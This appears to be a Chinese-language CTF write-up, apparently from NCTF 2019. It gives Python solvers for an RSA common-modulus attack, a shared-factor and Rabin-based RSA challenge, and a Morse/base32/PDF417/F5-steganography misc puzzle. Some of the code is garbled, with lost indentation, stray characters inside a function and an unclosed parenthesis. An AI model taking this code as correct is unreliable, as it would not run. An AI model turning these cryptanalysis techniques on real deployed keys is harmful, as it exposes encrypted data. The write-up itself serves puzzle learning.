n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664

这就很明显了,对相同的明文,利用相同的模数n,不同的e进行加密,显然的共模攻击。
直接上脚本了:

import sys
import binascii
sys.setrecursionlimit(1000000)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)个字符
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664

s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]

if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print (binascii.unhexlify(hex(m)[2:].strip("L")))

关于RSA攻击的一些常见题目,可以参考这里

Crypto-warm_up

一道RSA攻击题,比赛的时候用了很久的时间,结果方法是那个方法,也没毛病,但是拿到的中间解密结果就是跟正确的不一样…
【补充】后来得知是利用Rabin算法来解密,

题目分析

首先拿到加密的脚本:
challenge

from Crypto.Util.number import *
from encode import KEY

q=getPrime(1024)
p=getPrime(1024)
r=getPrime(1024)

s=getPrime(1500)

e1=125794
e2=42373

n1=p*q
# p=131007115323263999345439921359227318254405259922548848874604821887442317315261280241204120172695148419556904875799765832598963733615261986846902786588239855657188269808050049322273049247577603319550134241252668567291670945189847048114844786099701880760746513002722191178146535455786553456997962473256126933599
# q=119483326784566375381311671166934261653966910443478433390480121272123328703673727110548386173243715369452830115984647613984491314122410531350348274710343333683717539768667655774410095306308786327548868489032433387156558717074449072976228756713826882644799579064381868958833899404263434981929880125095896045279
n2=p*r
# r=125865800078882436358190150840086704132269782327092865891978833903435318406585569079365400123511664535093591726335541806103608520149741821723730509181335231384826827110615769921634583280405181533715780121294953290009221367811719652713563785099152724624248766800252106719691710099748709715428046927462566738829
n3=p*q*s
# s=4381527556155456244163866461213062154975584084098516713465580696307104582336232806581070200178877144056318286852510416984171734722261473011812834553119204840984224160234243628578437239474676744592256886496775536777147355925487433224470975028941234194214177866322189418677266623335736030464485482684975053531544588046871751319647627210975030993527752551643707233557167595205555007238628961572027648064667065121254775370786901687256744800890945396435909316593963191272036460122138655751400930994411285603646950022989642830534704209469689551712512249174150742858665648252625354876868232433296490519493372739129388386546
c1=pow(s,e1,n1)
Key=int(KEY.encode('hex'),16)
key_encode=pow(Key,e2,n3)

with open("enc","a")as f:
f.write("c1: "+str(c1)+"\n")
f.write("n1: "+str(n1)+"\n")
f.write("n2: "+str(n2)+"\n")
f.write("key_encode: "+str(key_encode)+"\n")

encode

from flag import flag
import os


KEY = os.urandom(len(flag))

dec=int(flag.encode('hex'),16)


assert len(bin(dec)[2:])==335
mask=int('1'*335,2)
dec=(dec^dec<<200 )&mask
enc=dec^bytes_to_long(KEY)
print "enc: "+str(enc)

#enc: 17403902166198774030870481073653666694643312949888760770888896025597904503707411677223946079009696809

审计代码可知,要拿到flag,我们首先需要拿到KEY,而KEY是经过RSA加密的。
但是观察RSA代码发现n1n2有公约数p,利用欧几里何算法即可求得:

def gcd(m,n):
if n==0: #考虑特殊情况
print("n is not equal 0!")
else:
while m%n!=0:
new=m
m=n
n=new%n
return n

这样我们就有了pqr,但是要得到KEY,我们需要拿到s,这个地方参考了网上的一篇文章中的一部分来求,但是求得的s不是1500bit、但是加密的密文却是一样的…然后也就没有做下去了,等WP吧…
后来一位师傅分享了自己的总结,学习下吧:
http://www.soreatu.com/ctf/writeups/Writeup%20for%20Crypto%20problems%20in%20NCTF%202019.html#easyrsa
师傅给了他的脚本做参考,但是还没完全搞明白,等WP出来研究好了再补充。

补充

利用Rabin算法解密RSA部分,然后利用运算的特性将dec=(dec^dec<<200)&mask通过dec=(dec^dec>>200)&mask进行还原,解密脚本如下:

import gmpy2
import libnum

c1 = 9977992111543474765993146699435780943354123551515555639473990571150196059887059696672744669228084544909025528146255490100789992216506586730653100894938711107779449187833366325936098812758615334617812732956967746820046321447169099942918022803930068529359616171025439714650868454930763815035475473077689115645913895433110149735235210437428625515317444853803605457325117693750834579622201070329710209543724812590086065816764917135636424809464755834786301901125786342127636605411141721732886212695150911960225370999521213349980949049923324623683647865441245309856444824402766736069791224029707519660787841893575575974855
n1 = 15653165971272925436189715950306169488648677427569197436559321968692908786349053303839431043588260338317859397537409728729274630550454731306685369845739785958309492188309739135163206662322980634812713910231189563194520522299672424106135656125893413504868167774287157038801622413798125676071689173117885182987841510070517898710350608725809906704505037866925358298525340393278376093071591988997064894579887906638790394371193617375086245950012269822349986482584060745112453163774290976851732665573217485779016736517696391513031881133151033844438314444107440811148603369668944891577028184130587885396017194863581130429121
n2 = 16489315386189042325770722192051506427349661112741403036117573859132337429264884611622357211389605225298644036805277212706583007338311350354908188224017869204022357980160833603890106564921333757491827877881996534008550579568290954848163873756688735179943313218316121156169277347705100580489857710376956784845139492131491003087888548241338393764269176675849400130460962312511303071508724811323438930655022930044289801178261135747942804968069730574751117952892336466612936801767553879313788406195290612707141092629226262881229776085126595220954398177476898915921943956162959257866832266411559621885794764791161258015571
key_encode = 154190230043753146353030548481259824097315973300626635557077557377724792985967471051038771303021991128148382608945680808938022458604078361850131745923161785422897171143162106718751785423910619082539632583776061636384945874434750267946631953612827762111005810457361526448525422842867001928519321359911975591581818207635923763710541026422076426423704596685256919683190492684987278018502571910294876596243956361277398629634060304624160081587277143907713428490243383194813480543419579737033035126867092469545345710049931834620804229860730306833456574575819681754486527026055566414873480425894862255077897522535758341968447477137256183708467693039633376832871571997148048935811129126086180156680457571784113049835290351001647282189000382279868628184984112626304731043149626327230591704892805774286122197299007823500636066926273430033695532664238665904030038927362086521253828046061437563787421700166850374578569457126653311652359735584860062417872495590142553341805723610473288209629102401412355687033859617593346080141954959333922596227692493410939482451187988507415231993
p = gmpy2.gcd(n1, n2)
q = n1/p
e1 = 125794
e2 = 42373
b = gmpy2.gcd(e1, (p-1)*(q-1))
bd = gmpy2.invert(e1/b, (p-1)*(q-1))
s = pow(c1, bd, n1)

u = pow(s,(p+1)/4,p)
v = pow(s,(q+1)/4,q)
s = gmpy2.invert(p,q)
t = gmpy2.invert(q,p)
x = (t*q*u+s*p*v)%n1
x2 = -x%n1
y = (t*q*u-s*p*v)%n1
y2 = -y%n1
might_s = [x, x2, y, y2]
might_d = []
for i in might_s:
might_d.append(int(gmpy2.invert(e2, (p-1)*(q-1)*(i-1))))

might_key = []
for i in range(4):
might_key.append(pow(key_encode, might_d[i], p*q*might_s[i])


enc = 17403902166198774030870481073653666694643312949888760770888896025597904503707411677223946079009696809
key = 42580132829749909635949545500710961386423741815111173311539127124848530560526050611168224706289064276
dec = key^enc
print libnum.n2s(dec)
mask = int('1'*335,2)
dec = (dec ^ dec>>200)&mask
print libnum.n2s(dec)

Misc-code_in_morse

考察基本的流量分析、morse编码,base32解码转图片,PDF417图片的识别以及F5隐写。

题目分析

拿到流量包之后导出HTTP数据,发现一共四个文件,在PNG文件中拿到了morse码,到网站解码得到一串base32码,这个时候到网站上解base32解不出来,就用python解了一下,发现是一堆hex,其中还有PNG字样,断定是图片的数据,写了个脚本导入到png图片:

import base64
import binascii
b32 = "RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCBKR4F53M52F3NWOAMIQ37776R5GE6YNAWJPUA4ZBZM6M5ZPRVWIURUHGMBRAMU7T3P57X776PP5DOBIQIXQE2RCZC5EYFWBAESRALQNACALVNE4B2TCABEA4XIZQAVKFXW632O3XS5HZT7R2J747545E4Y7K6HJA7WI5Y62W4OH7HJ75RL2VOMUMN2OOXOWU7RXV7U6D7AFC2X6TBGSDQII3ABOUCCARS2Q7CAATKD2HRTI6JKAZNIXYGK3ZO4POZENG566RDQVSAKWF26VLJJPC5VD2FAATKAMCHTP27Y5IKTWNNAKLVNEPUXLH6XVICOQMXGHEPDBYZYXZ2R6KKTU7ZF7X2CBGUXSOSHICOPIPQCJNAT3JO5ND5OHLBW5BF4CWNI5BFKTERWIUWFZYKVVKURWS7PI4FEXURAUFXBD6JQKSPZFJ7EXRCPEUSHJMS7GVKVDOG7W6F4ZL4XILUVCKWGFZ3KV2I5WBR7R2QALVHNSEWCKDCIXCA3VJU2QAJVCUZSO3LZICZJAASKAD2LKQ6BLVPQLUDSDLFPZP2WOTPLVLNABG7SPICMT3K52QLTWK3Y4NBXIMX5NRKJIA5FLO6Y3LVP55BPDITRVN2UYEZ33ERFZ2R4KTFVJVECKKRXKA2LRCKQFHEAIEAKZWYCKXRXLGJYJXQKZ445HWLUPAFGIC7FV46SB5MERIYNWSHUCNUQP5OB4S2BDQ7627HULZQRW3QYNKQKU3VHCNJSU6E36IUEPU2TBGKZOSB22N2R6TPY7XUG32VIXLTHGHJXGWNWMTJOGFMAJHOVWIIGDSG2KOONGK7UDFQS4ZOK2OAXKAXWZRTOTZQ2Q7CKRKRWAK6IAK2SRYLT72DGHQXRJGGDN57EJBZ2M7VJHOGJKEHU5ASU2KKTFB4SW5MB5C4YR4SSKNON3XLSS6K7CGJKAZNIP6E7RVUY6OFIBTTXYREMWKWPIDKRPTJSMRJPUXKUOWT5IZP3HEJ65OYVILIUGUI2QHGH32VAAXKO23H2BTIAF2UF4QESSANVEKPILOY63ZA5GUZRLLCIQSY6IRWLSTWULC5KBRAFOQPPEED3VB6IKKDRSN2FF4UVXS7KT6TUQCRQZ2DXZS5AYOCLLHKK6I2JUPRSK2HVI3YKBTZXWQDNGI3FMYHFMO3BIYABKUPTFSK3J4KKPKNALUMP5NFERHUB3I7IWTXQEAAMQUPQGRADFFIMKQ3MQNX3BW7NU4WMITZDB5D3FP3VHD2SPCX65ZVL44VUHQMAHMZLQFKADBFIO2RRKTCDYZJ2BCENKZ2LY2TIKSH3MMU3EUB5T26E4TP4NK3F6KRSTI3TEKTBKXTJYKHQATMWUDXT5T4CUYXK6U5H2LYAKUO5LJIFS2QY4O7KZP3KBCODRBAGLKPDN5WUTLOAKEOJP22CBGU6GXYJUPRTXXHKJLP7D46I2TPFLWQRJ4NIEFDYSNKDYFCERFHAC5NIWXVQXELIUSGKLKZLGT36JMOS7IIPBU76KXNQDJV4ZSXCE7F5P4U4QIRAKPAWRQFJLVHRFJDKIVLAVFOORM7F5S3U5D6AIFDV27JYJ243PIM6UKVSGLKQIZACNKPHVJAQJNPUAWACJNAWYEJBR2Q6LTA3STOLSLO6QZFKQ5QGFEZ5TKCJJ6VKBVNVO7DKG27T3HHJDRVXTPD6H7EW6FI6QB5GHQVKU3VP54TBBQMIDFJ6QFKRZXP4UE2QG3EVJDK3AASKBCE5W3VDHVB4JVC7IXOG5C7J4MZWSRDJFSHKH626LIUGRPZ6T2SEANVP5KDXFNKGQIWQS5J5MC5HBH5GGTHZLGWXKOWSCRQNULFGO4C3ZHUZF6O57K4YV2VYUR5BF3PDMEKR7JZEZJAAEUUORJ32GSHIAG4OWQS5LPPKVU2J7P5AQUQWRK7HE5BX3UWXJNPSKKBICC5Z5Y5L7AESSANUYPUNR2USESHE2ORQMJ5H6KTB6YSTVZD3FA6NLBUASWRM6VZYTXV6E4J6SW2XLZ6RGW7JL5FECJ53N7KRKRXMJGKVJTH6FNIFIOOA26AFHEAXJCUAQGBON2UPZNMBRKW7ZKUDZFYMCQBE5B4SUCTJ6TIOOT6J2XVXXLVRMPT3VGQUCSIAU4DKFJ7535XXUWGDSV3DJHQ2SXK3PILDELUPQVAVKFKJQM2GO47WTXXIZQPKNAE2VSDIDGT2VSSNUFSQAJV7WEY2WKVFSQANMFERVARSSUGEJ7TZLISVGYVPGPSVZTRTRYZXVI6VNNIZ6LFNPL2VAQVECPVZYLF3BR2M2PCXAF5USD6UVR7STM27OSOM7D3XUU2RZD5KWOKSBKIKLW3Q6VCIJTFVJLQDBREGECQBDKTJETLKU5KYQJVABNCATKD4MCVP6G75HT2V4CPQSW64SMM2VIBS2Q65ENEIBIETVJ5MFEFVLPEZXG3JEXX4QXSSUAABGMN67M5CJJVGTWUOS7742UGJK6VG2TGVFVCIYCUE2L44E2VBFJHTFNT7URWE6HSIZ2PF5TR7QST3FEAXIWSCMJO4V74VEACNKEGJF3B2IDGRF3BRAYWTALFVCFR7IZCNGVDEUSAZURUGABG5H6TDDKNEVH4TWZC2DI6FR6XT6W64SDC2JY3WDEXTLOK4ZBKPEXZMPFC4RFCFU5KQ6AEDV6T2MGAJ7HUQQUXSPY2U6VFNR3YDVWWKLK54UE2RPPUBGUJHDZ5SGMUY563JFZIRAPIXIGHLD2Q5IMUQOWIGOS2OADI4FPZ3GPJHQV2BU74SW6AUSPXX57VPJ24ZFJ7FNQIURSX6KQZGLKPDN5TLRKZZEGEN6K7T65EHP2X7E54M4AZQVRPFHRVDOZBLVAJFSHUPIVMTKKFUF4C2X7FBGUNWESTWFYXM37PZIBXQMWUERWUSQTFVD65OZR7YZBUACNIP46K3EQXWY5SUSIYGESUH3NLI6FI6DAFNUHQD5KLADK23QWSXWV4UE2RTF6HNMZWTVLVVZMN6NGKXOPO7AKI7ZO2AYBGV7YFMMCAQKQ65D6VINJOPMPKVO3XS73ICKETFERWLKCFX5YEYQA566QZJPETH7AKRZBJPENQNUWN4K2DYTNLWDKPY2WKGMDCIC5QRQUSO42ZPETOUO3VHUIJSVHSN3UXZ2B6OR6ZYB2J4KX5W6QRKB5QMEKQQVTTVO2LJYMULY2WDFFQWROXMWUELDVPZBIDFVAWQFLR6AJ6POOEHBW2U4UDC7S2FRU4VC47P3WQJ4BROGKLYQXSVIHLE7ZXAIKID2LZFB5JHV4NIAKQCAJFGYXI3AEAXI2JYDRGUDCMBJIR7ABXO3NF6UIUKCLNAAAAAACJIVHEJLSCMCBA===="
hex = base64.b32decode(b32)
print(hex)
f1 = open("1.png",'wb')
f1.write(hex)
f1.close()

然后拿到了如下一张图:

后来得知是PDF417,然后到网上找了一下扫描的方法,这里这里都可以识别,识别出了下面这个图:

这里卡了好久,要不是就拿到了二血了…
后来看到图片的标题F5得知是F5隐写,然后用F5-steganography跑出了flag。

这里偶然间发现了一个更好用的工具,输入morse码就直接出了PDF417的图,分享一下:CyberChef,只能说,师傅们tql!

Comments


:D 一言句子获取中...

Loading...Wait a Minute!